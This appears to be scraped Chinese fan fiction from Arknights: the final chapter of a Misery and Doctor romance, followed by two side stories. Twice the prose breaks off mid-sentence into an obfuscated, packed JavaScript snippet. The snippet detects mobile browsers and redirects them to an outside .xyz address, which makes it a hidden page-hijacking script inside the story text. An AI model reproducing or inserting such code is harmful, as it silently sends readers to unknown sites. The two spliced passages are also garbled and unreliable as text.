直到他的脚踩上绵软的拖鞋,接触到坚硬的地面,才让他第一次产生了不真实感。在失去了那么多那么久以后,即使只是能够重新站起来,就足以让他产生流泪的冲动。他不再是个会拖累其他人的废人。 整个医疗室内只有仪器运作的嗡嗡轻响,Misery走到窗边,罗德岛号停驻在未知的旷野上,澄澈的天空像刚经历过一场大雨,所有的灰尘和雾气都被一扫而空。 萨卡兹推开门,走廊上站着的望向远方的人类被响声惊动,投来温暖的视线。 “你来了。” “嗯。” 博士迎向他,握住他的手臂轻声问:“感觉怎么样,有没有哪里不舒服?” Misery摇了摇头,“我做了一个奇怪的梦,博士,有沙滩,有海洋,还有一个和你很像的人,她穿着白色的外套,黑色的裙子……她认识你,也好像认识我,她托我向你问好,她很想你,但是她不能来见你。” 人类的瞳孔紧缩,但又很快放松下来,“别急,事到如今,有些事情我可以放心告诉你了。” 博士引着他回医疗室坐下,两个人一直没有松开交握的手,也说不清是谁握得更紧一点,“我知道你有很多疑问,但不用着急,我会把一切都原原本本告诉你。语言是精巧的发明,但它不足以承载起交流的全部。来吧,同我一起走进那早已熄灭的白昼,去见证——去怒斥光明的消逝。” 人类捧起他的脸,覆上轻轻一吻,微凉柔软的唇瓣吐出低语:“思维共振。” 他们在星夜笼罩的沙滩上漫步。 Misery记得这里,汐斯塔美丽的沙滩时至今日仍然铭刻在他的心头。但美丽的也许并不是景色,而是与那个特别的人一起留下的美好回忆。 海边路灯的暖光照亮了博士的侧脸,让他看起来无比真实又柔软。 “你还真是喜欢这里。”博士摇晃了一下手臂,Misery忽然意识到了什么,耳根泛红,这里的场景与内心世界相连,他与博士出现在这里并非某种巧合,而是他藏在心底的期盼,但人生经历的时光不可能像磁带一样倒回原处。 “是啊……离开这里以后一切都不一样了。我去了拉特兰,而你被带回了卡兹戴尔。”博士捏了捏他的手指,“但好在还来得及,一切都还来得及,我们还有机会行走于对方身畔。” “我很想你,博士,特别特别想。”萨卡兹俯下身将人类抱个满怀,也许是因为在这里他不必担心过大的力气将人类瘦小脆弱的身躯压扁,他拥抱着博士,就像海浪拥抱浮标。博士不仅被萨卡兹的身体包裹,同样也被炙热的情感淹没。 “之前怎么没见你重逢的时候这么热情?” Misery哽了下,犹犹豫豫说道:“因为我以为我快不行了,在你面前表现得越高兴,你会越难过……你会生我的气也是应该的,我知道自己做得有多过分。但我现在可以告诉你,我有多么不舍,多么想留在你的身边。我爱你,即使已经走过死亡的尽头,我也依然爱你。” “嗯,我知道,你的心声已经通过精神链接传达给我了,你也应该听见了我的。”博士顿了顿,“你也许会因为繁杂的心绪感到困惑,但没有关系,正如我承诺的那样,我会告诉你一切。” Outcast临走时分别找过他们两人,在萨科塔提笔写下那张纸条以前,博士问她:“如果有一天战事再起,泰拉再次遇到危机,罗德岛需要你的回归,你会响应号召回来这里吗?” “只要那时我这把老骨头还能端稳铳枪,记得给我在靠近甲板的房间留个位置,舰船上的空气还是太闷了,不习惯。”她随意挥了挥手。 在Misery那边,Outcast难得拉把椅子一坐一个下午,跟Misery谈了许多关于泰拉、博士和未来的话题,却唯独没有提起自己将要离开的消息。 “下个月的万□□会要针对之前的和平协议再次进行调整,我们的教宗许下承诺不首先使用天基武器,拉特兰的任何动作均出于自卫与捍卫和平的需要。”萨科塔一边削苹果,一边说。 “……会有那么顺利吗?” “你总是太悲观了,小Misery,有博士这样活生生的奇迹摆在你面前,还有什么事情是不可能的?” “我只觉得担心的事情一定会成真,雨终归是会落下来的。” “你很有当诗人的天赋,以后把这些句子收集起来出个诗集怎么样?”Outcast打趣道,她手里的苹果已经变成一个个漂亮的小块,最后全进了萨卡兹的肚子里,“当然,最好重新起个笔名,Misery实在太苦涩了,一看就会吓跑拉特兰人的,无论你里面的内容有多么精彩。” “……我会考虑的。”Misery最后应声道。 “但也许不用改,我看博士就挺喜欢你这调调的。”萨卡兹的脸上有变红,苍白的脸上多了几分生气。 “以后有机会来拉特兰,尝尝我做的点心如何?你比我更清楚博士的口味,博士亲口称赞过你的厨艺,成品估计还需要你的指点呢。”Outcast依旧那么乐天,Misery无奈笑着答应了。 “在这个横跨数万年、距离千万光年的故事开始以前,我要先向你道歉,Misery。” 萨卡兹疑惑的情绪从脸上和头脑里同时传递过来。 “我曾经不止一次地怀疑过你,不仅是因为魔王,因为那顶可以读取记忆的黑冠,我质疑一切的源头,你们对我的根植于本能中的亲密——源石。源石改造了你们的外表,塑造了你们的文化,将你们指引向我们曾经走过的道路。” 真相向他敞开了一个小小的角落,前文明仅剩的遗孤彻底将自己的秘密和自己的心一起和盘托出。 “即便你对我的情感可能只是源石的副作用,”人类续上了那句很久以前没有说完的话,他轻声笑了笑,“我听到了你脑海里激烈抗议的声音,但是别着急,我没有因此否认你的情感,在经历了那么多事情以后,已经不需要什么额外的东西来证明了。在整个泰拉上,你是我唯一愿意分享命运的人。” Misery握住博士手掌的力气变大了,他聚精会神等待着人类的进一步解释。 “源石是信息流的集合,记录着前文明的一切,而在此之上诞生的泰拉文明更像个美妙的巧合,你们遭受的苦难并非有谁刻意造成,即使被自己的造物主所忽视,你们也仍然创造了无数美丽的奇迹。 “你已经见过她了,普瑞赛斯,源石中的普瑞赛斯。她是源石的母亲,也是泰拉文明的母亲,也许站在你们的视角,她也是灾祸的来源。但无论以何种形态存在,我始终坚信,她仍然是那个关心人类命运的科学家。” 光秃秃的灰色行星上,两位前文明的科学家在此久违的会面。意识信标的投影下,他们仿佛真的并肩于沙丘之上,任由致命的辐射与微末的灰尘穿过他们的身体。 “源石计划正式通过了,我是被指定的负责人。” “……这不可能,伦理道德委员会怎么会通过这样残酷的计划?” 普瑞赛斯轻轻摇头,她看着对方露出温暖的微笑,“这个计划没有通过伦理测试,我也没能通过AAT测试。” 博士露出不可置信的惊讶脸,这张脸与现在的博士截然不同,他还没学会怎么隐藏自己的情绪,“不行!我要去一趟研究院,他们怎么能这么草率地决定——” “我也同意了,源石本身就是我的项目。”普瑞赛斯平静的话语令博士冷静下来,“我想过了,这样也没什么不好的,我甚至要谢谢他们让我明白。如果到那一天,所有的星星都熄灭了,海浪失去涟漪,我们熟悉的世界走向彻底的崩毁……到那时,我一定会坚定地选择你,而不是这个即将坠毁的世界,只要你还愿意相信文明存活的可能,我就会一直支持你。” “即使被永远困在源石里?失去作为人的一切!”博士的怒火仍未平歇,由于对源石的深刻了解,他比任何人都明白这个决定代表了什么,“一个弗里斯顿难道还不够吗?我们究竟还要付出多少无辜的灵魂去填满命运不幸的缺口?!” 普瑞赛斯握住博士的手,Misery能够感觉到传递过来的温度,在博士的回忆里是这样的温暖。 “这是最后的希望,我们的希望。即使从今往后,我只能通过源石的眼睛注视着你,在黑沉的夜里一个人守候黎明,在丧失了所有的理智和情感以后,我变得不再是我,但只要你还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15437198|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我的身边,我依旧心甘情愿沉溺于黑暗中。 “祝福未来吧,博士。这是我们唯一能够做的事情了。” 源石降下帷幕,在伊比利亚的海岸线上筑起围墙,邪魔侵染过的领域被源石阻隔封闭,还未修复的阻隔层上覆盖了一层薄薄的源石,阻挡了星球之外的不善视线。 拉特兰的万□□会上,所有的地区大国齐聚一堂,在律法的见证下签署了全新的和平协议。天灾仿佛一夜间消失得无影无踪,各国之间停滞已久的贸易航线重新打开。教育与医疗领域的跨国合作,拆分重组的巴别塔在拉特兰设立了全新的总部,被后人记载作为开启后结晶时代的重大历史事件。 伤口的愈合很慢很难,但只要给予时间,就总有愈合的一天。 眼泪,不属于博士的眼泪,也不属于其他泰拉人的眼泪,从Misery的眼角滚落。 博士的讲述仍然继续着:“……天堂支点会成为新生的泰拉指向宇宙的武器,而源石会成为你们坚不可摧的后盾。深蓝之树已经失控,等到泰拉走向宇宙的那一天,放这些美丽的生灵自由吧,它们原本不是这般可怖的模样。” 博士几乎尽数告知了前文明存续计划的一切,却唯独遗漏了一点。 “……那你呢?博士,你给自己留下了什么样的位置?” “啊,你总是这样敏锐,Misery。”博士仍然微笑着,“我首先是一个文明的预言家,然后才是我自己。在定下存续的计划的同时,我也给自己植入了脊髓灰质之钉,我是最后一个活着的前文明人,我有责任守护我们文明仅剩的遗存。只要我还醒着,还能自由行走于世界上,源石就始终会是可能毁灭你们的隐患。” “不!如果你真的决心要离开,至少把我带上,请……求你了,博士。”Misery抓住人类的手腕,好像紧紧抓住就能挽留对方一样。 但博士只是摇头,“我和普瑞赛斯也曾有过分歧,源石不该成为新生文明的束缚,而应该是托举你们成长的摇篮,带着祝福送你们走上远航的道路。 “当我第一次在泰拉上醒来时,我为你们的文明感到惊喜,尽管稚嫩,尽管粗暴而原始,充满了矛盾和不确定,但它仍旧是一颗种子。 “我感谢你迄今为止的陪伴,Misery,我对泰拉的观察已经足够。我是个失败者,我没能拯救自己的文明,你们也不该走上我们的老路。我会继续沉睡下去,作为文明的守墓人,源石的保护者。等到你们有一天走出了泰拉的摇篮,不再被源石威胁、找到共存之道的那天,到那时再唤醒我吧。 “但在肩负的责任以外,身为个人,我唯一希望的是你能够记住我,记住曾经有过一个前文明学者为自己的文明所付出的一切。历史书上记载的文字是冰冷的,” 博士牵起Misery的手放在自己的脸侧,“但你瞧,你眼前的人是有温度的。” 人类耐心擦去萨卡兹流下的眼泪,他明白这眼泪只为自己而流。 罗德岛最底层的房间内,博士与Misery、凯尔希做着最后的告别。 Misery在过去的浮光掠影中看到过这个女孩黑发的身影,她被赐予了凯尔希的名字,却又被遗留在这片大地上。 凯尔希紧绷的耳朵告诉他这位女士的心里同样不好受,在博士交代她将罗德岛号上各种操作和功能教给Misery后,菲林终于按捺不住内心的悲伤,上前一把抱住博士嚎啕大哭。 她靠在博士的胸口哭得伤心极了,像初生的婴儿第一次吸入冰冷的空气爆发出的啼哭。 博士把她拥入怀中安慰:“对不起,凯尔希,在短暂的相聚之后又要离你而去。” 人类摸了摸菲林的脑袋,“但这一次你不再需要孤独面对空无一物的世界了,你也不再需要去找到那个问题的答案,生命总会自己找到出路,你也一样。” “我会等你,”凯尔希哭得一抽一抽的,她回头看了一眼Misery,表情闷闷不乐,“我会跟这家伙一起等你。” 也许是给他们留出告别的空间,也许是不忍亲眼见到博士离开的场面,凯尔希抽泣着走出了房间,只留下沉默的两人。 “还生我的气呢?有时候真的觉得我们固执的脾气不相上下。”博士从未这样语气轻松,好像只是在说今天的天气真好这样无关痛痒的话题。 “……我只是不知道该说什么,博士。”Misery金色的眼睛垂下,“悲伤已经带走了我所有的力气。” 博士走上前,手掌放在萨卡兹的胸口,靠近心脏的位置,“我把我的心寄存在你这里,你要替我守望泰拉,保护这颗嫩芽不会过早地被风雪吞没。一直以来,无论我是否愿意,我都被别人推上这个位置,但现在终于轮到我向你们告别。” Misery抬起头,与人类眼神接触,他眼里的悲伤融化了一些,像水波一样漾开,“我相信我们会再见的,等着我,博士。” “好,”博士露出笑容,“我等你。” 石棺中的永眠显得不那么恐怖了,人类躺入石棺中,注视着光明的散去,黑暗覆盖了他的视野与意识,但这一次,他不再是绝望的一个人。 罗德岛号再次启航,向着鲜花与阳光的明天驶去。过去的阴霾终将消散,荆棘丛生的道路也有坦荡的一天,再见,再见。 Misery摘下一支盛开的鸢尾花,轻轻置于石棺上。 这里躺着他的爱人,躺着一个普通的人类,躺着他许诺的未来。 TURE END Iris 34.番外一[番外] 接TE结局 —— 握上房门把手,食指滑过冰冷的金属边缘,足尖跨过分界线的第三秒,博士在兜帽下无声叹息,拉开的房门再次合拢,上提把手进入暂时锁定状态,感应灯内亮起危险的红光。 博士背靠着房门,看向空无一物的角落。 “阿斯卡纶。” 话音刚落,金属碰撞的声音突兀在房间内响起。 前巴别塔传奇刺客破除了隐匿姿态,她的袖剑裹满源石技艺的紫红色光芒,少有人能够接下这一击,但既然对手是这位同样是巴别塔出身的萨卡兹,那能接住也就不奇怪了。 博士眯眼看向与他认知里的那一位不太一样的萨卡兹空间术士,因为阿斯卡纶的突袭而突然现身,与袖剑相接的纯黑色匕首反光让博士感到熟悉的质地,他抵挡住这一击后显然还有余力,但并没有选择反击。 阿斯卡纶问询的目光扫过,博士点了点头。 刺客大师挡在博士身前警惕抬起滋滋冒光的袖剑,目光冰冷扎在这位奇怪的“同事”身上。 “你现在应该还在雷姆必拓执行外勤任务,你有什么正当理由提前返回罗德岛不第一时间跟我述职,而是选择跟踪我吗,Misery干员?”博士抬起头问道。 久违的温和中又带有一丝严厉的声音。即使隔着面罩,Misery也能够想象那双眼睛是什么形状的,他在无数个日夜里用记忆去描绘、去重建,却总是达不到最完美的样子,而他缺失的那一点点细节现在就在他的面前拼凑齐全。 他把自己珍爱的两把匕首取下放在地上,慢慢站起来举起双手。 “我可以解释。” 经过黑冠的查探,凯尔希的再三审问,阿米娅最终告诉博士,这的确是如假包换的Misery本人,不是变形者大君的恶作剧,也不是某种源石技艺的影响。原本的Misery也仍然在雷姆必拓,和当地的罗德岛驻点进行过确认。 而且经过评估以后,居然放心让这位凭空冒出来的Misery待在博士身边。 “啊,看来是妮芙那一次熔炉之旅的附带影响。”阿米娅解释道,“这位Misery先生来自于不同的泰拉。凯尔希医生说,这样的现象会逐渐回归正常,这段时间就当他是来我们这里做客的吧,博士。” 有了阿米娅的保证,Misery的出现范围被划定在博士身边,萨卡兹对此接受良好,就是博士身边影子里藏的东西未免有些太多,除了阿斯卡纶,还有一些奇奇怪怪的人物,但博士每次都能从准确定位到他藏身的那一小片影子。 Misery与博士搭话的机会不多,他很忙,身为罗德岛的博士,管理着下面几百号干员,还要兼职整个罗德岛制药公司的行政、外交、贸易等等,在大国和跨国企业之间游走,加班到半夜都是常事。 但仅仅是安静注视着博士就令Misery感到满足。他只希望凯尔希口中的短暂影响能够长一些,再长一些。 博士端着咖啡独自一人走到甲板上,他的身边这个时候只有那一小块影子的留驻。 “Misery?” 影子悄悄在晨光中显出了身形,相比不苟言笑的阿斯卡纶,Misery是个温柔的人,博士的笔不再到处遗落,餐点比饥饿来得更快,当博士需要什么的时候,那个东西就会奇迹出现在桌面一角。 “我有问题想问你。” Misery抿唇,想起凯尔希的警告,但他仍然轻轻点头。 “我知道你来自不同的世界,而且看你的反应,你认识我们,熟悉罗德岛——你认识没失忆的我。” “……是。”Misery没法否认,如果博士真要问到底,他也不能保证能够维持与凯尔希的口头誓言。 “你认为我,没有失忆的我,是一个怎么样的人?” 萨卡兹望向人类平静的侧颜。是了,阿米娅同样告诉过他,博士遭遇了意外失忆,即使从外表上看不出博士的缺失,他依旧聪明清醒,但缺少的记忆,就像缺失的一块血肉,即使藏起来了,也会在看不见的地方流血。 “他……不,你是个善良、有责任心的人,博士。”Misery最终没有提起那些敏感黑暗的过去,“我在这的几天也听说过一些关于你的传言。但你们在我看来没有什么区别,只是肩膀上承担的东西重量不一样。 “他们会那么说是因为不够了解你。我也许不完全清楚你身上发生的事情,但我明白,站在我面前的博士,和没有失忆的博士,你们是同一个人,装着同一个灵魂,在面对同样的抉择时你们会做出相同的选择——无论付出怎样的代价,你们都会选择拯救,而不是毁灭。” “听到你这样的说法还挺稀奇的。”博士笑了笑,“因为特蕾西娅的死亡……凯尔希和W她们至今还不肯原谅我呢,虽然我已经完全不记得我为什么这么做了。” “我认识的特蕾西娅和你们的特蕾西娅不太一样,她是个优秀的政治家,带领的巴别塔和你们走向了相反的方向。她那样的人应该连自己的死亡都已经做好谋划了,仔细想想,现在的罗德岛正是她想看到的样子。” “你对你们魔王的语气也很不一样。”博士指出。 “因为发生了一些不愉快的事情。”Misery含糊道。 “很难想象会有什么事情让萨卡兹讨厌自己信仰的魔王。”博士低头喝了口不再冒热气的咖啡,一个模糊的猜想浮现在心头,“难道是……因为我?” Misery沉默了,但更加勾起了博士的好奇心:“之前我就很奇怪了,为什么你来到我们的世界第一时间跟踪我,为什么你的谈话语气跟我很熟?你不是一般的了解我,据我所知,连凯尔希都不能如此准确说中我内心的想法。 “……你和你们世界的我是什么关系?” Misery愣了下,面对和过去别无二致的博士,他不自觉说了太多,也不小心将自己的心意漏得到处都是。 “我们……过去很亲近。” “是恋人吧。”博士却完全不给他模糊的余地,投来揶揄的目光。 萨卡兹露出不知所措的表情,以为自己藏得很好,却不知道面对博士时他那点小心思像一本打开的书,哪里都书写着同样的喜爱与怀念的话语。 “既然你说不同世界还是同一个人的话,为什么这个世界的你总是躲着我?” Misery清了清嗓子,他耳尖不自然发红,“……根据我对你们历史的了解,他只是在做自己最擅长的事情,在逃避而已。他对你太在意了,所以会逃避。 “我也是被博士特别关照的人,如果不是博士主动逮住我的话,我也会一直注视着他就好了。” 怎么听起来像绑架流浪兽亲?博士无奈想道。 “总之,谢谢你的解答,跟你的聊天很愉快,这位Misery先生。”博士重音了下,果然看到萨卡兹的尾巴烦躁摇快,“罗德岛上的人不是敬我就是怕我,即使嘴上不说,但都觉得我背叛过特蕾西娅,明里暗里的指责就没少过。你是目前唯一一个对没失忆版本的我全面肯定的人,我会记住你的回答。” “我的荣幸,博士。”Misery语气轻快起来,“无论以前还是现在,我的愿望都只有一个,希望你能够获得幸福。” 等远在雷姆必拓辛辛苦苦外勤的Misery回来,却得知了这个天塌的消息。在他外勤期间冒出来另一个“Misery”,在这短短的十几天里,这个冒牌萨卡兹不仅顶替了他的位置,而且还跟博士混得比他还熟! 博士看热闹不嫌事大,认真比对他俩,除了体表的源石结晶,他们几乎长得一模一样,一样挺翘的鼻子和锋利秀气的下颌,但气质上却天差地别,一个成熟坦荡,一个还残留着点年轻人的气盛和别扭。 最可气的是,明明能力完全一样,Misery却打不过这个冒牌货! “Misery”对于源石技艺的应用明显比他高上一截,要不是博士及时打圆场,难得被激发好胜心的Misery肯定要让Logos来查查这家伙有没有作弊。 离开博士办公室后,“Misery”还语重心长教育他不要躲着博士,这样博士会伤心的。 “你拥有的比我多得多,好好珍惜。” Misery忍一时越想越气,他是哪根葱啊?还教育起他来了,明明是自己先来的——和博士的过去也是……好吧博士不知道他们的过去。 Misery回宿舍翻箱倒柜找出能够证明博士更在乎他的东西。最终,一个生锈的小铁盒静悄悄躺在萨卡兹的手中,勾起了他久远的回忆。 因为他老是躲避博士的说教和不把这位新晋指挥官的叮嘱放在心上,所以每次出重要任务前博士都会给他塞上一张纸条。除了零碎的小纸条,还有博士为了学厨艺,用小本子写写画画的记事本,Misery循着记忆往下挖掘,翻到最底下发现了一封没有拆开的信。 是在巴别塔的最后一战时,博士把他们全部派出去时给他的,让他回来以后再拆开。但是发生了那样的事情,Misery就没有再动过。他拿去跟博士一起拆开这封来自过去的信。 博士放下裁纸刀,展开信件,熟悉的文字在舌尖变为语言:“对不起,Misery,等你打开这封信时,应该已经发生了很多不愉快的事情……” 前面还是一些很正常的叮嘱和担心,后面情绪越来越不对,很多涂黑划掉的语句,博士不得不跳着阅读。旁边一时脑热上头的Misery实在是羞得要命,他怎么会想到博士不仅看还要读出来! “我想你做的饭了,能不能早点回来——” 被黑线划掉。 “不,还是不要早点回来吧。” 还有很多很多的对不起。答应过Misery陪他去做的事情,去萨尔贡王酋的陵墓探险,去雷姆必拓矿坑探险,去萨米看极光,去拉特兰偷吃冰淇淋,这些都做不到了。 然后又突然谈起第一次见到Misery的事情。 “你虽然长得高大,但真的很像小动物,一不小心就会吓跑。我花了很多精力才跟你关系搞好呢。 “但是我把这一切都搞砸了,回来你应该会讨厌我吧。但是也没关系了,我应该听不到你说讨厌我的话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444738|168556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “但我还是很伤心,所以我提出最后一个请求:如果讨厌我的话就把这封信撕了,不讨厌就烧掉,我会收到回信的。” 博士声情并茂朗读完这封信,抬头看向旁边失语怔愣的萨卡兹,扬了扬手中的信件,挑眉道:“你要撕还是烧?” Misery几乎立刻抢了回来,宝贝一样护进自己怀里,“……不准撕也不准烧。” 博士摊手,问出他跟每一个过去的精英干员都问过的问题:“你恨我吗?因为失忆的我让你失望了,所以你会躲着我。” 萨卡兹下意识想张口反驳,但他攥紧了手中的纸,略一犹豫,更加妥善回答道:“不,我不恨您,但我也没法毫无芥蒂地说出我爱您,我对您的情感很复杂……” “那这个盒子以后也没必要藏起来了。” Misery陡然一惊,难道博士要把它们都收回销毁了吗?连带他和博士过去的回忆一起? 但博士又从笔记本上撕下了一小张白纸,在上面写着今天跟Misery一起读了信,又多了解了一点Misery,很开心。 他打开盒子盖,轻轻放入。 “没有必要锁起来了,因为我会往里面加新的内容。” 至于那些约定,博士看了一眼外勤表,今年好像就只有去拉特兰的外勤还有空位了,他把Misery也勾上。 做完这一切,Misery跟做梦一样抱着他的铁盒子飘出去的。 等脚步声走远,另一位等待多时的“Misery”这时才礼貌进入房间。真是当局者迷,旁观者清,以前怎么不觉得,现在作为旁观者发现自己真好哄,博士什么也没承认,什么也没挑明,Misery就这么落进了坏心眼人类的圈套。 也许是看这个“Misery”没那么好糊弄,投来不赞成的目光,博士打哈哈道:“一步一步来嘛,那家伙很容易吓跑的。” 跟这个陌生、情绪稳定的成熟Misery相处,博士胆子也大起来,语气理直气壮:“但你不会跑,我可以摸摸你的头,抱抱你,捏你的尾巴吗?” Misery其实本来还想反驳其实自己比博士想的要听话,抓住手就跑不掉了,已经完全看透了自己在博士面前约等于零的自制力,但是……博士的拥抱近在咫尺,他怎么可能拒绝? 他到博士跟前蹲下,任由人类的手指试探性地滑过灰白柔软的发丝。博士摸着摸着,还会被萨卡兹主动蹭蹭掌心。更像养熟的兽亲了,博士心想。 到了拥抱的环节,Misery看样子很熟练,他轻轻环上博士的腰身,知道手放哪个位置能贴得严丝合缝,让博士很舒服的力道。反而是一开始提出要求的博士手忙脚乱,不知道该怎么办才好。 “可以放在我的腰上,博士,不过我认识的博士会坚持挂我脖子上,即使身高不够也坚持。”像是想到了某个回忆的瞬间,萨卡兹脸上露出第一个快乐的笑。 Misery也同往常一样弯下腰,博士在他身后摸摸索索,一边调整胳膊位置一边问是这里吗。 Misery突然说不出话来了,博士感觉到脖子边有点湿,也老实闭嘴,安安静静抱着他。 不知道过了多久,久到Misery终于想起这里是哪里,他抱的博士终究不是……他慢慢推开了博士,一直低头道歉,他怎么能够混淆对他们的情感呢。 博士虽然没有生气但还是说:“给我摸摸尾巴就原谅你。” 然后博士一边摸尾巴一边跟哄小孩一样,对着尾巴说不哭不哭。Misery被他这奇怪的安慰行为逗笑了,再次内心谴责这个世界的自己真是身在福中不知福。 当Misery发现自己的手开始变得透明时,他最后通过窗户看了一眼还在会议中部署作战安排的博士。他爱的人在这里活得很好,神采奕奕,忙碌而充足,有阿米娅和凯尔希的陪伴,志同道合的同伴们团结在他身边,罗德岛也行驶在正确的航向上,不像他与凯尔希那般寂寥。 也许是身为同一个人的默契,Misery没想到最后来送行的是这个世界的自己。 “我不知道你那边发生了什么。”在博士的开导下,他已经冷静下来了,“但我有一种预感,你没能保护好博士,我从你的眼神里可以读到它。” “对自己的同情?大可不必。”Misery轻笑着驳斥了,“我和他有过约定,我们会再见面的。” “你的确和我很不一样。”对面的Misery说,“那么祝你好运了,我会转告博士你的离开。” “无论博士有没有恢复记忆,守在他身边,耐心听他的话,总会有一天他会告诉你一切。”Misery走入消散的阳光中,“也愿你我都能从注定走向悲剧的命运中解脱。” Misery坐在单人驾驶座上,抬起终端看了一眼,计时已经来到第一百三十二年。弗里斯顿和凯尔希发来的消息占满了半个屏幕。但Misery不急于这个时候回复他们,他整理出一块新的数据板,在上面用前文明符号记录下这趟旅途发生的一切。 头顶的星空与源石安静陪伴着他走入下一个百年。 35.番外:时间的收束[番外] 自从那件事情以后,Scout已经觉得这世上没有什么事情不可能发生,也许明天泰拉就会迎来毁灭呢?偶尔思维飘散到边际,又被眼前真实的景象拉回。萨卡兹推开虚掩的门扉,迎接他的是温暖的室内照明,博士停下了手中书写的笔,起身走到他的身边。 “怎么去了这么久?”不等Scout自己来,博士就踮起脚摘掉他头顶的渔夫帽放在柜子上,然而下一秒他落进了萨卡兹温暖拥挤的怀抱。 “Scout?……”博士犹豫道,他放轻了语气,“怎么了?” “我想你了。” “可你才出门半天?”尽管这样说着,博士仍然收紧了手臂,萨卡兹身上的味道已经不再是尘土和硝烟,带有药草的清香与太阳烘烤后的香气,“你什么时候变得这么黏人了,Scout?” “不知道,我就是突然特别特别想你,好像经历过什么不太好的事情,但一看到你,那些情绪就消失了。” “因为春天来了吗?”博士握住狙击手粗糙的手掌,引他进屋,“在这个花粉浓郁的季节,会唤起一些多愁善感的情绪。” 不算大的木屋内布置温馨,暖黄色的灯光为室内陈设披上一层朦胧的细纱。柜子上放着一把闲置已久的狙击枪,Scout不时会抱着它细心保养擦拭,他的老伙计虽然已经用不上了,但像个老朋友一样见证了他们一路走来,上面的凹痕与剥落的漆面同样提醒他这一路的不容易。 “有时候感觉自己在做梦一样。” 博士戳了下他的额头,“要不是知道你还是我的Scout,我都要怀疑你这出趟门被什么东西给附身了。” “不会,无论有什么样的艰难险阻挡在我的身前,我都会走到你身边去的,博士。”萨卡兹靠上人类的肩膀,“我感叹的也许只是我们现在平静到不可思议的生活,远离卡兹戴尔,远离移动城市,我还能陪在你的身边。即使只是个梦,那也是个非常非常温柔美好的梦。” “这不是梦,”博士摇了摇头,两只手捧起萨卡兹的脑袋,轻吻他下垂的眼角,抚平额头的细纹,“你是我的英雄,带我走出那片黑暗,再次回到自由的阳光下。这是既定发生的事情,而现在,我们的大英雄得放下担子,陪我这个普通人过上平静的生活,你会习惯并且爱上这样的生活。” “如果这是你的选择,我很开心。”Scout笑得眉眼弯弯,然后微微侧过脑袋,脸上浮起一片红,拳头靠在鼻子下方咳嗽两声,“但英雄什么的还是太过头了吧?……虽然听到这样的夸奖我很喜欢。” “即使只是拯救了一个人的命运,也是非常了不起的成就哦。从这一点上来讲,Scout是我一个人的英雄呢。”在博士的笑声中,萨卡兹的脸彻底红透了。 最初,Scout不忍心博士跟着他在荒野里过苦日子,几次提出搬回繁华的移动城市的想法,无论是哥伦比亚、卡西米尔,甚至更遥远的大炎也好,以博士的学识完全可以走到更高更远的位置,而不是隐姓埋名,跟在他这个通缉犯身旁东躲西藏。 但博士否决了他的提议:“我不想当什么救世主,Scout,我只想做个普通人,用炎国的话来说,偷得浮生半日闲,平凡的快乐有什么不好的呢?” 话虽这么说,在遇到因天灾流离失所的难民、因为土地的贫瘠而挨饿的拓荒者、没钱看医生的矿石病人,博士依旧会伸出援手,慷慨解囊。但也因此他们在一个地方不能停留太久,在博士的化名传播出去以前早早离开,像活在人们口中的故事,随着吟游诗人的脚步在大地的边缘散播开来。城里的精英们对这样的故事不感兴趣,他们只信任同样在泰拉现代知识体系中培养出来的医疗人员,就像没人疯到相信伊比利亚偏方里的海嗣肉可以医美。 但这样最好不过了,博士与Scout游历诸国,最后选在远离中央地带的卡西米尔北方边境定居。这里靠近萨米,天然的森林形成严密的保护带。在附近热情农户的帮助下,他们开垦了一片田地,播撒下作物。第一年的收成惨淡,小苗不是患上了奇怪的病,就是被森林里的爪兽拱了,艰难长大的少数幸存者被端上餐桌。但这是博士吃得最香的一次,品尝自己用双手付出的劳动换来的成果。 又隔了几年,Scout修好了羽兽舍,他们会在早上把驯养的羽兽放出去捡稻谷和虫子吃,晚上又会把它们赶回笼舍里。博士从暖和的羽兽肚子底下掏出还温着的蛋,敲在平底锅里,滋滋冒出的油花,然后作为Scout的早餐躺在盘子里。 早饭过后,Scout背起斧头和竹筐准备进森林里砍柴,博士收拾好医疗箱,作为村里唯一的大学生和医生挨家挨户问诊,两人在门口温存一番然后依依不舍地告别。 在这个博士精挑细选的地方,不仅有着热情开朗的库兰塔,还同样居住着长有圆耳朵的乌萨斯人,从哥伦比亚拓荒地来的菲林、埃拉菲亚,森林以包容的胸怀接纳了他们,将他们视为森林的子民。神秘的萨米人偶尔也会来到这里补给,带来一两句来自遥远北方的祝福,Scout有时看到有趣的石板图案会带回来给博士瞧瞧。 外界的消息通过天灾信使与最近几年才建设起来的通讯系统进行传递,卡兹戴尔与维多利亚旷日持久的战争以双方的消耗无法维系而结束,哥伦比亚与乌萨斯、大炎的介入更让这场战争走向了末路,不间断的小规模冲突逐渐平息,新的泰拉时局即将形成。 但这一切都和他们没有任何关系了。博士关闭终端,看向窗外,屋外的萨卡兹正和新来的天灾信使说着什么,然后拿着一封信回来。 满是褶皱和盖满各个国家邮戳的信件像一艘远航的小船,终于停靠在了港湾。没有署名,也没有寄件人的地址,Scout刚拿到时一度以为这位年轻的天灾信使搞错了,但这位双马尾的沃尔珀女孩再三保证这的确是寄给他们的。 博士拆开信件看到文字的第一眼,被他遗忘许久的过去扑面而来,裹挟着阴雨与风暴的低压气息。 